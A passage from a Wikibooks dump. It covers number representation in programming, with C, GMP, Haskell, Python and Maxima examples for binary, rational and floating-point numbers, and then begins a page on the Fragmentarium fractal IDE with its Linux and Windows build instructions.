&quot;Integer constants can be written as binary constants, consisting of a sequence of ‘0’ and ‘1’ digits, prefixed by ‘0b’ or ‘0B’. This is particularly useful in environments that operate a lot on the bit level (like microcontrollers).

The following statements are identical:
&lt;syntaxhighlight lang=&quot;c&quot;&gt;
     i =       42;
     i =     0x2a;
     i =      052;
     i = 0b101010;
&lt;/syntaxhighlight&gt;
The type of these constants follows the same rules as for octal or hexadecimal integer constants, so suffixes like ‘L’ or ‘UL’ can be applied.&quot;

====gmp====
GMP library&lt;ref&gt;[[:pl:Programowanie_w_systemie_UNIX/GMP|Programowanie_w_systemie_UNIX: GMP in polish wikibooks]]&lt;/ref&gt;

&lt;syntaxhighlight lang=c&gt;
/*

C programme using gmp

gcc r.c -lgmp -Wall

http://gmplib.org/manual/Rational-Number-Functions.html#Rational-Number-Functions

*/

#include &lt;stdio.h&gt;
#include &lt;gmp.h&gt;

int main ()
{
        
        // input = binary fraction as a string 
        char  *sbr = &quot;01001010010010100101001001010010010100101001001010010100100101001001010010100100101001010/11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&quot;;
        
        mpq_t q;   // rational number; 
        int b =2 ; // base of numeral system
        mpz_t  n ;
        mpz_t  d ;
        mpf_t f;

        // init and set variables 
        mpq_init (q); // Initialize r and set it to 0/1.
        mpq_set_str (q, sbr ,  b);
        mpq_canonicalize (q); // It is the responsibility of the user to canonicalize the assigned variable before any arithmetic operations are performed on that variable. 
        mpq_canonicalize (q); // It is the responsibility of the user to canonicalize the assigned variable before any arithmetic operations are performed on that variable.

        // n , d
        mpz_inits(n,d,NULL); 
        mpq_get_num(n,q);
        mpq_get_den(d, q);

        //
        mpf_init2(f, 100); // http://stackoverflow.com/questions/12804362/gmp-division-precision-or-printing-issue
        mpf_set_q(f,q); // There is no rounding, this conversion is exact.

        // print 
        gmp_printf (&quot;decimal fraction =  %Zd / %Zd \ndecimal canonical form =  %Qd\n&quot;,n,d, q); // 
        gmp_printf (&quot;binary fraction  = %s \n&quot;, sbr); // 
        gmp_printf (&quot;decimal floating point number : %.30Ff \n&quot;, f); // 
        
        
        // clear memory
        mpq_clear (q);
        mpz_clear (n);
        mpz_clear (d);
        mpf_clear (f);
        
        return 0;
}
&lt;/syntaxhighlight&gt;

Output :

&lt;pre&gt;
decimal fraction =  179622968672387565806504266 / 618970019642690137449562111 
decimal canonical form =  179622968672387565806504266/618970019642690137449562111
binary fraction  = 01001010010010100101001001010010010100101001001010010100100101001001010010100100101001010/11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 
decimal floating point number : 0.290196557138708685358212602171 
&lt;/pre&gt;

===Haskell===

Code by Claude Heiland-Allen:&lt;ref&gt;[http://mathr.co.uk/blog/2014-10-13_converting_fractions_to_strings_of_digits.html Converting fractions to strings of digits by 	Claude Heiland-Allen]&lt;/ref&gt;
&lt;syntaxhighlight lang=&quot;haskell&quot;&gt;

--  http://mathr.co.uk/blog/2014-10-13_converting_fractions_to_strings_of_digits.html

 import Data.Fixed (mod')
 import Data.List (nub)
 import Data.Ratio ((%), denominator)
 import Data.Numbers.Primes (primeFactors)
 import System.Environment (getArgs)

 data Digits = Digits
  { dNegative :: Bool
  , dInteger
  , dPreperiodic
  , dPeriodic :: [Int]
  } deriving Show

preperiod :: Digits -&gt; Int
preperiod = length . dPreperiodic

period :: Digits -&gt; Int
period = length . dPeriodic

digitsAtBase :: Int -&gt; Rational -&gt; Digits
digitsAtBase base rational
  = Digits
  { dNegative = rational &lt; 0
  , dInteger = int
  , dPreperiodic = pre
  , dPeriodic = per
  }
  where
    integer :: Integer
    fraction :: Rational
    (integer, fraction) = properFraction (abs rational)
    int | integer == 0 = [0]
        | otherwise = goInt integer []
    goInt i ds
      | i == 0 = ds
      | otherwise = goInt i' (fromInteger d : ds)
      where
        (i', d) = i `divMod` baseZ
    factors :: [Integer]
    factors = map fromIntegral . nub . primeFactors $ base
    isPreperiodic :: Rational -&gt; Bool
    isPreperiodic x = any (`divides` denominator x) factors
    baseZ :: Integer
    baseZ = fromIntegral base
    baseQ :: Rational
    baseQ = fromIntegral base
    (pre, per) = goPre fraction
      where
        goPre :: Rational -&gt; ([Int], [Int])
        goPre x
          | isPreperiodic x = first (d:) (goPre x')
          | otherwise = ([], d : goPer x x')
          where (d, x') = properFraction (baseQ * x)
        goPer :: Rational -&gt; Rational -&gt; [Int]
        goPer x0 x
          | x0 == x = []
          | otherwise = d : goPer x0 x'
          where (d, x') = properFraction (baseQ * x)
    first :: (a -&gt; c) -&gt; (a, b) -&gt; (c, b)
    first f (a, b) = (f a, b)
    divides :: Integer -&gt; Integer -&gt; Bool
    factor `divides` number = number `mod` factor == 0

digitsToString :: [String] -&gt; Digits -&gt; String
digitsToString digits Digits
  { dNegative = sign
  , dInteger = int
  , dPreperiodic = pre
  , dPeriodic = per
  }
  = (if sign then &quot;-&quot; else &quot;&quot;)
  ++ d int ++ &quot;.&quot; ++ d pre ++ &quot;(&quot; ++ d per ++ &quot;)&quot;
  where
    d = concatMap (digits !!)

atBase :: Int -&gt; Rational -&gt; String
atBase base rational = digitsToString ds (digitsAtBase base rational)
  where
    ds | base &lt;= 62 = map (:[]) $ ['0'..'9'] ++ ['A'..'Z'] ++ ['a'..'z']
       | otherwise = [ &quot;&lt;&quot; ++ show d ++ &quot;&gt;&quot; | d &lt;- [0 .. base - 1] ]

main :: IO ()
main = do
  [sbase, sfraction] &lt;- getArgs
  let (snum, _:sden) = break ('/' ==) sfraction
      base = read sbase
      num = read snum
      den = read sden
      rational = num % den
  putStrLn (atBase base rational)
&lt;/syntaxhighlight&gt;

===Python===
&lt;syntaxhighlight lang=&quot;python&quot;&gt;
# https://wiki.python.org/moin/BitManipulation
# binary string to integer 
&gt;&gt;&gt; int('00100001', 2)
33
# conversion from binary string to  hex string
&gt;&gt;&gt; print &quot;0x%x&quot; % int('11111111', 2)
0xff
&gt;&gt;&gt; print &quot;0x%x&quot; % int('0110110110', 2)
0x1b6
&gt;&gt;&gt; print &quot;0x%x&quot; % int('0010101110101100111010101101010111110101010101', 2)
0xaeb3ab57d55
&lt;/syntaxhighlight&gt;

Other methods &lt;ref&gt;[http://stackoverflow.com/questions/699866/python-int-to-binary stackoverflow : python int to binary]&lt;/ref&gt;

=How to use numbers in computer programs ? =
First read:
* article &quot;What Every Computer Scientist Should Know About Floating-Point Arithmetic&quot; by  DAVID GOLDBERG : &lt;ref&gt;[http://www.itu.dk/~sestoft/bachelor/IEEE754_article.pdf What Every Computer Scientist Should Know About Floating-Point Arithmetic by  DAVID GOLDBERG]&lt;/ref&gt;
* [http://blog.reverberate.org/2014/09/what-every-computer-programmer-should.html Josh HabermanFloating Point Demystified, Part 1 by ]
* [http://blog.reverberate.org/2016/02/06/floating-point-demystified-part2.html floating-point-demystified-part2 ]
==integer==
* types
* limits and overflow

===Limit===

&lt;syntaxhighlight lang=c&gt;
/*

gcc l.c -lm -Wall
./a.out

http://stackoverflow.com/questions/29592898/do-long-long-and-long-have-same-range-in-c-in-64-bit-machine
*/
#include &lt;stdio.h&gt;
#include &lt;math.h&gt; // M_PI; needs -lm also 
#include &lt;limits.h&gt; // INT_MAX, http://pubs.opengroup.org/onlinepubs/009695399/basedefs/limits.h.html

int main(){

double lMax;

 lMax = log2(INT_MAX);
 printf(&quot;INT_MAX \t= %25d ; lMax = log2(INT_MAX) \t= %.0f \n&quot;,INT_MAX,  lMax);

 lMax = log2(UINT_MAX);
 printf(&quot;UINT_MAX \t= %25u ; lMax = log2(UINT_MAX) \t= %.0f \n&quot;, UINT_MAX,  lMax);

 lMax = log2(LONG_MAX);
 printf(&quot;LONG_MAX \t= %25ld ; lMax = log2(LONG_MAX) \t= %.0f \n&quot;,LONG_MAX,  lMax);

 lMax = log2(ULONG_MAX);
 printf(&quot;ULONG_MAX \t= %25lu ; lMax = log2(ULONG_MAX) \t= %.0f \n&quot;,ULONG_MAX,  lMax);

 lMax = log2(LLONG_MAX);
 printf(&quot;LLONG_MAX \t= %25lld ; lMax = log2(LLONG_MAX) \t= %.0f \n&quot;,LLONG_MAX, lMax);

 lMax = log2(ULLONG_MAX);
 printf(&quot;ULLONG_MAX \t= %25llu ; lMax = log2(ULLONG_MAX) \t= %.0f \n&quot;,ULLONG_MAX, lMax);

return 0;
}

&lt;/syntaxhighlight&gt;

Results :

&lt;pre&gt;
INT_MAX 	=                2147483647 ; lMax = log2(INT_MAX) 	= 31 
UINT_MAX 	=                4294967295 ; lMax = log2(UINT_MAX) 	= 32 
LONG_MAX 	=       9223372036854775807 ; lMax = log2(LONG_MAX) 	= 63 
ULONG_MAX 	=      18446744073709551615 ; lMax = log2(ULONG_MAX) 	= 64 
LLONG_MAX 	=       9223372036854775807 ; lMax = log2(LLONG_MAX) 	= 63 
ULLONG_MAX 	=      18446744073709551615 ; lMax = log2(ULLONG_MAX) 	= 64 
&lt;/pre&gt;

For example Wolf Jung in [[Fractals/mandel|program Mandel]] makes a silent bounds check:&lt;ref&gt;[[w:Bounds checking|wikipedia : Bounds checking]]&lt;/ref&gt;

&lt;syntaxhighlight lang =cpp&gt;
// mndynamo.h  by Wolf Jung (C) 2007-2014
typedef  unsigned long long int  qulonglong;

// mndcombi.cpp  by Wolf Jung (C) 2007-2014
 qulonglong mndAngle::wake(int k, int r, qulonglong &amp;n)
{  if (k &lt;= 0 || k &gt;= r || r &gt; 64) return 0LL;
&lt;/syntaxhighlight&gt;

If r is to big for unsigned long long int type it returns 0 to prevent integer overflow.

GMP library has arbitrary precision rationals.

==floating point==

===precision===
[[Fractals/Mathematics/Numerical#Precision|Precision]]
* GMP : The mantissa of each float has a user-selectable precision ( variable prec type mp_bitcnt_t  ). Counts of bits of a multi-precision number are represented in the C type mp_bitcnt_t. Currently this is always an unsigned long
* MPFR : The precision is the number of bits used to represent the significand ( mantissa) of a floating-point number; the corresponding C data type is mpfr_prec_t.

==Rational==

[[File:Stereographic projection of rational points.svg|thumb|right|The rational points on a circle correspond, under stereographic projection, to the rational points of the line.]]
&quot;Any number with a finite decimal expansion is a rational number. &quot; In other words  : &quot;any floating point number can be converted to a rational number.&quot; &lt;ref&gt;[http://stackoverflow.com/questions/4266741/check-if-a-number-is-rational-in-python?rq=1 stackoverflow questions : check-if-a-number-is-rational-in-python]&lt;/ref&gt;

So in numerical computations one can use only integer of floating points numbers ( rational ).

===Decimal===
===Binary===
* [http://www.exploringbinary.com/exploring-binary-numbers-with-parigp-calculator/ Exploring Binary Numbers With PARI/GP Calculator By Rick Regan]
* [http://www.wolframalpha.com/input/?i=1%2F7+to+binary Wolfram Alpha]
====Numbers====

In [[C]] one can use :
* bitwise operators &lt;ref&gt;[http://joequery.me/notes/learning-c-4/ Joe McCullough : bitwise operators]&lt;/ref&gt;

In [[Maxima|Maxima CAS]] one can use :

&lt;pre&gt;
(%i1) ibase;
(%o1) 10
(%i2) obase;
(%o2) 10
(%i3) ibase:2;
(%o3) 2
(%i4) x=1001110;
(%o4) x=78
&lt;/pre&gt;

====String====
Calculation of binary numbers with as a string with replicating parts in '''Haskell''' (ghci):

&lt;syntaxhighlight lang=&quot;haskell&quot;&gt;
-- by Claude Heiland-Allen
-- http://mathr.co.uk/blog/haskell.html
Prelude&gt; let rep n s = concat (replicate n s)
Prelude&gt; putStrLn $ &quot;.(&quot; ++ rep 88 &quot;001&quot; ++ &quot;010)&quot;
.(001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001010)

putStrLn $ &quot;.(&quot; ++ rep 87 &quot;001&quot; ++ &quot;010001)&quot;
.(001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001001010001)

Prelude&gt; putStrLn $ &quot;.(&quot; ++ rep 88 &quot;001&quot; ++ &quot;0001)&quot;
.(0010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010001)

Prelude&gt; putStrLn $ &quot;.(&quot; ++ rep 88 &quot;001&quot; ++ &quot;0010)&quot;
.(0010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010010)
&lt;/syntaxhighlight&gt;

In '''Python''' : 
&lt;syntaxhighlight lang=&quot;python&quot;&gt;
&gt;&gt;&gt; bin(173)
'0b10101101'
&gt;&gt;&gt; int('01010101111',2)
687
&lt;/syntaxhighlight&gt;

====Literal====

In python one can use binary literals :&lt;ref&gt;[http://stackoverflow.com/questions/1476/how-do-you-express-binary-literals-in-python Stackoverflow : How do you express binary literals in Python?]&lt;/ref&gt;
&lt;syntaxhighlight lang=&quot;python&quot;&gt;
python
Python 2.7.5+ (default, Feb 27 2014, 19:37:08) 
[GCC 4.8.1] on linux2
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; 0b101111
47

&lt;/syntaxhighlight&gt;

==Irrational = not rational==
[[File:Irrational numbers-7.png|thumb|right|Irrational numbers]]
             '''The problem is that we are exploring environments based upon irrational numbers through computer machinery which works with finite rationals !''' ( Alessandro Rosa )

Expansion is non terminating and non repeating 

Types:
* Algebraic Numbers = roots of Algebraic Equations. Example : sqrt(2), 
* transcendental numbers = non algebraic


If one wants use irrational number then should  check :
* symbolic computations : 
** exact number can be used as a symbol, but &quot;you cannot print the whole irrational number&quot;  
** infinite continued fraction
* numerical computations : close rational approximations to irrational numbers &lt;ref&gt;[http://www.johndcook.com/blog/2010/10/20/best-rational-approximation/ John D Cook :  best-rational-approximation]&lt;/ref&gt; (the Diophantine Approximation &lt;ref&gt;[https://stat.duke.edu/~kfl5/Lock2004.pdf DISCOVERING EXACTLY WHEN A RATIONAL IS A BEST APPROXIMATE OF AN IRRATIONAL By KARI LOCK]&lt;/ref&gt;)
** ratio of integers 
** floating point number 
** finite continued fractions

===Inverse golden mean===
The most irrational number&lt;ref&gt;[http://www.ams.org/publicoutreach/feature-column/fcarc-irrational4 ams : The Most Irrational Number]&lt;/ref&gt; In a continued fraction  all numbers are 1 = the slowest convergence of all the irrational numbers
 

Using Maxima CAS : 
 (%i10) print(float(%phi-1));
 (%o10).6180339887498949
 (%i11) rationalize(float(%phi-1));
 (%o11) 347922205179541/562949953421312

and  :


 (%i14) print(float(1/%phi));
 (%o14) .6180339887498948
 (%i15) rationalize(float(1/%phi));
 (%o15) 5566755282872655/9007199254740992

where denominator :

 &lt;math&gt;562949953421312 = 1 + 2^{49} &lt;/math&gt;

==complex==
* the multi-valued nature of complex powers can cause big troubles ( artifacts of branch cuts, arbitrary principal value of arg)
* domain coloring &lt;ref&gt;[http://www.mathe.tu-freiberg.de/fakultaet/information/math-calendar-2015 complex beauties : math-calendar]&lt;/ref&gt;&lt;ref&gt;[http://davidbau.com/conformal/#z%5E2-2 David Bau : complex function viewer]&lt;/ref&gt;


Examples
* VBA &lt;ref&gt;[https://pfadintegral.com/articles/complex-numbers-vba/ Complex Numbers in VBA by Pfadintegral ]&lt;/ref&gt;
* Maxima CAS

==How to find number type ==

Note that in numerical computations with finite precision ( on computer) :
* if number is represented as a ratio ( of integers)  then it is a rational number
* if number has a floating point representation the it is also a rational number because of limited precision = finite expansion

&lt;pre&gt;
/*

Maxima CAS batch file

*/

remvalue(all);
kill(all);

/*
input = ratio, which automatically changed to lowest terms by Maxima CAS
output = string describing a type of decimal expansion

---------------------------------------------------------------------------------
&quot; The rules that determine whether a fraction has recurring decimals or 
not are really quite simple.

1. First represent the fraction in its simplest form, by dividing both 
numerator and denominator by common factors.

2. Now, look at the denominator.

3.
3.1 If the prime factorization of the denominator contains only the 
factors 2 and 5, then the decimal fraction of that fraction will not 
have recurring digits. In other words : Terminating decimals represent 
rational numbers of the form k/(2^n*5^m)

3.2
  A fraction in lowest terms with a prime denominator other than 2 or 5 
(i.e. coprime to 10) always produces a repeating decimal.

3.2.1
  If the prime factorization yields factors like 3, 7, 11 or other 
primes (other than 2 and 5), then that fraction will have a decimal 
representation that includes recurring digits.

3.2.2
   Moreover, if the denominator's prime factors include 2 and/or 5 in 
addition to other prime factors like 3, 7, etc., the decimal 
representation of the fraction will start with a few non-recurring 
decimals before the recurring part.&quot;

http://blogannath.blogspot.com/2010/04/vedic-mathematics-lesson-49-recurring.html

check :
http://www.knowledgedoor.com/2/calculators/convert_a_ratio_of_integers.html

wikipedia: Repeating_decimal
&quot; A fraction in lowest terms with a prime denominator other than 2 or 5 (i.e. coprime to 10) always produces a repeating decimal.
The length of the repetend (period of the repeating decimal) of 1/p is equal to the order of 10 modulo p. 
If 10 is a primitive root modulo p, the repetend length is equal to p − 1; if not, 
the repetend length is a factor of p − 1. 
This result can be deduced from Fermat's little theorem, which states that 10p−1 = 1 (mod p).&quot;

---------------------------------------------------------------------------------------

*/

GiveRatioType(ratio):=
block
(
   [denominator:denom(ratio),
    FactorsList ,
    Factor,
    Has25:false,
    HasAlsoOtherPrimes:false,
    type ], /* type of decimal expansion of the ratio of integers */

   /* compute list of prime factors ofd denominator */
   FactorsList:ifactors(denominator),
   FactorsList:map(first,FactorsList),
   print(denominator, FactorsList),
   /* check factors type :
          only 2 or 5
          also other primes then 2 or 5
  */
   if (member(2,FactorsList) or member(5,FactorsList)) then Has25:true,

   for Factor in FactorsList do
    if (not member(Factor,[2,5])) then
          HasAlsoOtherPrimes:true,
   print(Has25, HasAlsoOtherPrimes),

   /* find type of decimal expansion */
   if (not Has25 and HasAlsoOtherPrimes)     then type:&quot;periodic&quot;,
   if (Has25 and HasAlsoOtherPrimes)     then type:&quot;preperiodic&quot;,
   if (Has25 and not HasAlsoOtherPrimes) then type:&quot;finite&quot;,

   return(type)
)$

compile(all)$

/* input numbers*/
a:1 $
b:3 $

r:a/b$

type :  GiveRatioType(r);
&lt;/pre&gt;

=tools=
* dumpfp: A Tool to Inspect Floating-Point Numbers by Joshua Haberman&lt;ref&gt;[http://blog.reverberate.org/2012/11/dumpfp-tool-to-inspect-floating-point.html dumpfp: A Tool to Inspect Floating-Point Numbers by Joshua Haberman]&lt;/ref&gt;
* [https://float.exposed/0x5716b7d849c02d62 float.exposed] - and [https://ciechanow.ski/exposing-floating-point/ blog by Bartosz Ciechanowski]

=More=
* [[Fractals/Mathematics/sequences|sequences]]
** orbits
*** [[Fractals/Mathematics/Period|period]]
* series
* cardinality
* partition
* random numbers

==Cardinality ==
In mathematic ( theory) :
* &quot;... the rational numbers are a countable set whereas the irrational numbers are an uncountable set. In other words, there are more irrational numbers than there are rational. &quot; &lt;ref&gt;[http://www.homeschoolmath.net/teaching/irrational_numbers.php home school math : The fascinating irrational numbers]&lt;/ref&gt;
* &quot;... in the set of real numbers there is continuum of irrational numbers and only aleph-zero rational numbers. Thus probability that any random number is irrational is 1;&quot; ( Bartek Ogryczak) &lt;ref&gt;[http://stackoverflow.com/questions/12512377/irrational-number-check-function stackoverflow  questions : irrational-number-check-function]&lt;/ref&gt; &quot;To be pedantically correct you should have said almost certainly is 1. &quot; –  David Hammen


== height of a rational number in lowest term==

[[File:Thomae function (0,1).svg|thumb|right|Thomae function = 1/q]]
   &quot;a “height function” is some real-valued function that defines the “arithmetic complexity” of a point ... &quot; Brian Lawrence&lt;ref&gt;[http://math.columbia.edu/~brianrl/notes/heights.pdf Introduction to Heights by Brian Lawrence]&lt;/ref&gt;

Types of the height functions defined on the set of rational numbers &lt;math&gt;\mathbb{Q}&lt;/math&gt;:
* &lt;math&gt;H(p/q)=\max\{|p|,|q|\}&lt;/math&gt; for the (multiplicative) height of a rational number&lt;ref&gt;[http://doc.sagemath.org/html/en/reference/rings_standard/sage/rings/rational.html#sage.rings.rational.Rational.global_height sagemath : Rational.global_height]&lt;/ref&gt; also called [[:w:Glossary_of_arithmetic_and_diophantine_geometry#N|naive height]]
* &lt;math&gt;h(p/q)=\log H(p/q)&lt;/math&gt; the logarithmic height or additive&lt;ref&gt;[http://ksda.ccny.cuny.edu/PostedPapers/heights1.pdf Height Functions by Michael Tepper]&lt;/ref&gt;

where:
* p/q is a rational number in lowest term


   &quot;How complicated is a rational number? Its size is not a very good indicator for this. For instance, 1987985792837/1987985792836 is approximately 1, but so much more complicated than 1. We'll explain how to measure the complexity of a rational number using various notions of height. We'll  then see how heights are used to prove some basic finiteness theorems in number theory. One example will be the Mordell-Weil theorem: that on any rational elliptic curve, the group of rational points is finitely generated. &quot; Alina Bucur (UCSD): Size Doesn't Matter: Heights in Number Theory


Key  words:
* number field
* Height Functions in Number Theory

==Paritition ==
* paritition function : &quot;partition numbers behave like fractals, possessing an infinitely-repeating structure&quot; &lt;ref&gt;[http://www.aimath.org/news/partition/ Fractal Structure to Partition Function. ]&lt;/ref&gt;

==Random number==

The probability that any random number :
* is irrational is almost 1 ( in theory because of cardinality )
* is rational is 1 ( in numerical computations because of limited precision )
==Fields==
* generalisation : scalar / vector / tensor
* fields : scalar , [[Fractals/Mathematics/Vector field|vector]], tensor

=References=
&lt;references/&gt;
* [http://illustratedtheoryofnumbers.com/ An Illustrated Theory of Numbers  by Martin H. Weissman]

=See also=
* [http://www.divisorplot.com/ Divisor Plot : Explore composite number patterns]
* [https://www.semanticscholar.org/paper/Rational-Points-on-the-Unit-Sphere%3A-Approximation-Bahrdt-Seybold/b94ae4a2691c667a7c11550f65edfb668dd49921 Rational Points on the Unit Sphere: Approximation Complexity and Practical Constructions by Daniel Bahrdt, Martin P. Seybold]
* [[Discrete Mathematics/Number representations|Discrete Mathematics : Number representations]]
* [[A-level Computing/AQA/Paper 2/Fundamentals of data representation/Binary fractions|A-level_Computing : Binary_fractions]]
* [[Fractals/Mathematics/sequences#sequence of fraction in the elephant valley|sequence_of_fraction_in_the_elephant_valley]]
* [[Fractals/Iterations in the complex plane/wake|Fractals : Iterations_in_the_complex_plane , wake]]
{{BookCat}}</text>
      <sha1>5bjy6jp4i0632xfy5g8w61bdayjrmys</sha1>
    </revision>
  </page>
  <page>
    <title>Fractals/fragmentarium</title>
    <ns>0</ns>
    <id>362479</id>
    <revision>
      <id>4670470</id>
      <parentid>3702457</parentid>
      <timestamp>2026-09-16T16:44:39Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
      <origin>4670470</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="87915" sha1="pb7s4olfn82rngvfzjzofwfjm0dhfss" xml:space="preserve">[[File:Screenshot 20170818 214104.png|thumbnail|right|Screen shot of Fragmentarium]]

Fragmentarium is an open source, cross-platform IDE by Mikael Hvidtfeldt Christensen &lt;ref&gt;[http://blog.hvidtfeldts.net/index.php/about/ Mikael Hvidtfeldt Christensen ]&lt;/ref&gt; for exploring pixel based graphics on the GPU. It is inspired by Adobe's Pixel Bender, but uses GLSL, and is created specifically with fractals and generative systems in mind.&quot;&lt;br&gt;

Features:
* Multi-tabbed IDE, with GLSL syntax highlighting
* User widgets to manipulate parameter settings.
* Different 'mouse to GLSL' mapping schemes
* Modular GLSL programming - include other fragments
* Includes simple raytracer for distance estimated systems
* Many examples including Mandelbulb, Mandelbox, Kaleidoscopic IFS, and Julia Quaternion.

Licensed and distributed under the LPGL or GPL license.

Notice: some fragment (GLSL) shaders are copyright by other authors, and may carry other licenses. Please check the fragment file header before redistributing.

Please read the FAQ, before asking questions. &lt;ref&gt;[http://blog.hvidtfeldts.net/index.php/2011/12/fragmentarium-faq/ Fragmentarium FAQ by Mikael Hvidtfeldt Christensen December 30, 2011]&lt;/ref&gt; 

For examples of images take a look at the FF Fragmentarium galleries.&lt;ref&gt;[http://www.fractalforums.com/index.php?action=gallery;cat=61 FractalForums.com -&gt; Gallery]&lt;/ref&gt;&lt;ref&gt;[https://fractalforums.org/index.php?action=gallery;cat=20 FractalForums.org -&gt; Gallery]&lt;/ref&gt;

More information can be found at: FractalForums.com -&gt; Fragmentarium &lt;ref&gt;[http://www.fractalforums.com/fragmentarium/ FractalForums.com -&gt; Fragmentarium]&lt;/ref&gt; and FractalForums.org -&gt; Fragmentarium&lt;ref&gt;[https://fractalforums.org/fragmentarium/17/ FractalForums.org -&gt; Fragmentarium]&lt;/ref&gt;


This the unofficial wiki about it.


=Intro=

Fragmentarium comes in a few different flavors. The major differences are...
*Version 1.0 has only the &quot;time&quot; variable for animating.
*Version 1.0.31 introduces camera position Catmull-Rom spline based keyframing, parameter morphing with easing curves, target tracking auto focus, OpenEXR format input for textures and output for images, along with German, Dutch and Russian translations.
*Version 2.0.0 brings samplerCube textures and double precision uniform widgets.
---------------------------------------------

==Get v1.0==

Precompiled Mac and Windows executable packages can be found at syntopia.github&lt;ref&gt;[http://syntopia.github.io/Fragmentarium/get.html v1.0 github]&lt;/ref&gt;

or on Ubuntu Linux...

===Prerequisites===

 cmake 3
 Qt 4
 C++ compiler
 OpenGL development libs
 Git (if fetching the source directly from the repository)
 
 sudo apt-get install build-essential libx11-dev mesa-common-dev libgl1-mesa-dev libglu1-mesa-dev libxext-dev libqt4-opengl-dev
 
 git clone https://github.com/Syntopia/Fragmentarium

===Build===

 cd Fragmentarium-master
 cd Fragmentarium-Source
 cd &quot;Build - Linux&quot;  ( there are also build folders for Mac OSX, Windows and QCreator with build scripts. )
 sh build.sh

===Run===

Go to the ~/Fragmentarium-master/Fragmentarium-Source directory, then run Gui program :

 cd ~/Fragmentarium-master/Fragmentarium-Source
 ./Fragmentarium-Source

Note: at this point it would be a good idea to move the Examples, Icons and Misc folders with the Fragmentarium executable into a suitable working folder and change the name of the Fragmentarium-Source.exe file.

==Get v1.0.31==

Windows installer can be found at Digilanti.org&lt;ref&gt;[http://www.digilanti.org/fragmentarium v1.0.31 Digilanti.org]&lt;/ref&gt;

Windows users can download the 6.0M Fragmentarium Installer and run it by navigating to your Downloads folder and clicking the installer icon.

This will install the Windows Executable + Examples Includes and Misc folders + Qt 5.6.2 runtime DLLs + GUI translation files into a working folder in your home folder with startmenu shortcuts to the executable and the Maintenance program.

===Source Code===
Download Fragmentarium 1.0.31 sources bundled with OpenEXR sources or the smaller archive with precompiled static OpenEXR libs.

For windows the compile scripts expect to find the source in top level of C: drive so extract the archive there or adjust the pathnames in the windows bat file.

Note: the v1.0.31 sources are available on request as development is in the v2.0 branch from here on.

===Prerequisites===

 CMake 3 + CMake-gui
 Qt 5.6
 C++ compiler
 OpenGL 

The above packages should be installed along with their corresponding development packages.

 Git (if fetching the source directly from the repository)

===Build===

====Windows====
After installing Qt v5.6 and MinGW v4.9.2

 Start Menu/Programs/Qt Tools/5.6/MinGW 4.9.2 (32-bit)/Qt 5.6 for Desktop (MinGW 4.9.2 32 bit)
 cd C:/Fragmentarium-1.0.31-3Dickulus/
 mkmingw

This will build OpenEXR and the Fragmentarium project and install the executable with support files to '''C:/Fragmentarium-1.0.31-3Dickulus/Fragmentarium''' folder, this folder can then be relocated to wherever you like.

====Linux====
The archive can be extracted anywhere and the standard development environment with Qt5 OpenGL and OpenEXR should suffice.

 cd &lt;wherever&gt;/Fragmentarium-1.0.31-3Dickulus/
 sh ./mklinux.sh

This will build OpenEXR and the Fragmentarium project and install the executable and support files to '''&lt;wherever&gt;/Fragmentarium-1.0.31-3Dickulus/Fragmentarium''' folder, this folder can then be relocated to wherever you like.

To build Fragmentarium only, after running one of the scripts...

 cd &lt;wherever&gt;/Fragmentarium-1.0.31-3Dickulus/Fragmentarium-Source/build
 cmake-gui .. ( to change any paths or precompile flags like the install prefix )
 cmake-gui-&gt;configure
 cmake-gui-&gt;generate
 cmake-gui-&gt;quit
 make install

==Get v2.0.0==
===Ubuntu===
Precompiled '''Ubuntu 14.04.5''' package at github.com &lt;ref&gt;[https://github.com/3Dickulus/FragM/releases Ubuntu github.com]&lt;/ref&gt; requires Qt v5.7

or to compile from source on Ubuntu &quot;trusty&quot;

Install gcc-4.8
     sudo add-apt-repository -y ppa:ubuntu-sdk-team/ppa
     sudo apt-get update -qq
     sudo apt-get -qq install g++-4.8 libc6-i386
Install Qt-5.7
      sudo apt-add-repository -y ppa:beineri/opt-qt571-trusty
      sudo apt-get update -qq
      sudo apt-get install qtcreator-latest
Install openexr-2.2 development + runtime
      sudo apt-add-repository -y ppa:thomas-schiex/blender
      sudo apt-get update -qq
      sudo apt-get install libilmbase-dev
      sudo apt-get install libopenexr-dev
      sudo apt-get install libilmbase12
      sudo apt-get install libopenexr22
Install Extra-CMake-Modules for FindOpenEXR()
      sudo apt-get install extra-cmake-modules
      source /opt/qt57/bin/qt57-env.sh
Grab the source
 git clone https://github.com/3Dickulus/FragM
Build and install
 cd FragM/Fragmentarium-Source
 mkdir build
 cd build
 cmake -DNVIDIAGL4PLUS=ON -DUSE_OPEN_EXR=ON -DCMAKE_INSTALL_PREFIX=~/ ..
 make install

# The above will install in /home/username/Fragmentarium folder with includes and support files.
# To install for all users change '''-DCMAKE_INSTALL_PREFIX=~/''' to '''-DCMAKE_INSTALL_PREFIX=/usr/local''' and use '''sudo make install'''

===SuSE Leap 42.2===
Prerequisites for Linux '''SuSE Leap 42.2''' rpm package at github.com &lt;ref&gt;[https://github.com/3Dickulus/FragM/releases SuSE github.com]&lt;/ref&gt;

'''System''' Desktop&lt;br&gt;
'''OpenEXR''' 2.1&lt;br&gt;
'''Qt''' 5.6&lt;br&gt;

'''Build'''

Install git and the latest CMake and CMake-GUI programs along with ECM ('''E'''xtra '''C'''Make '''M'''odules) and the standard development environment for Qt5 and OpenEXR

 git clone https://github.com/3Dickulus/FragM
 
 cd FragM/Fragmentarium-Source
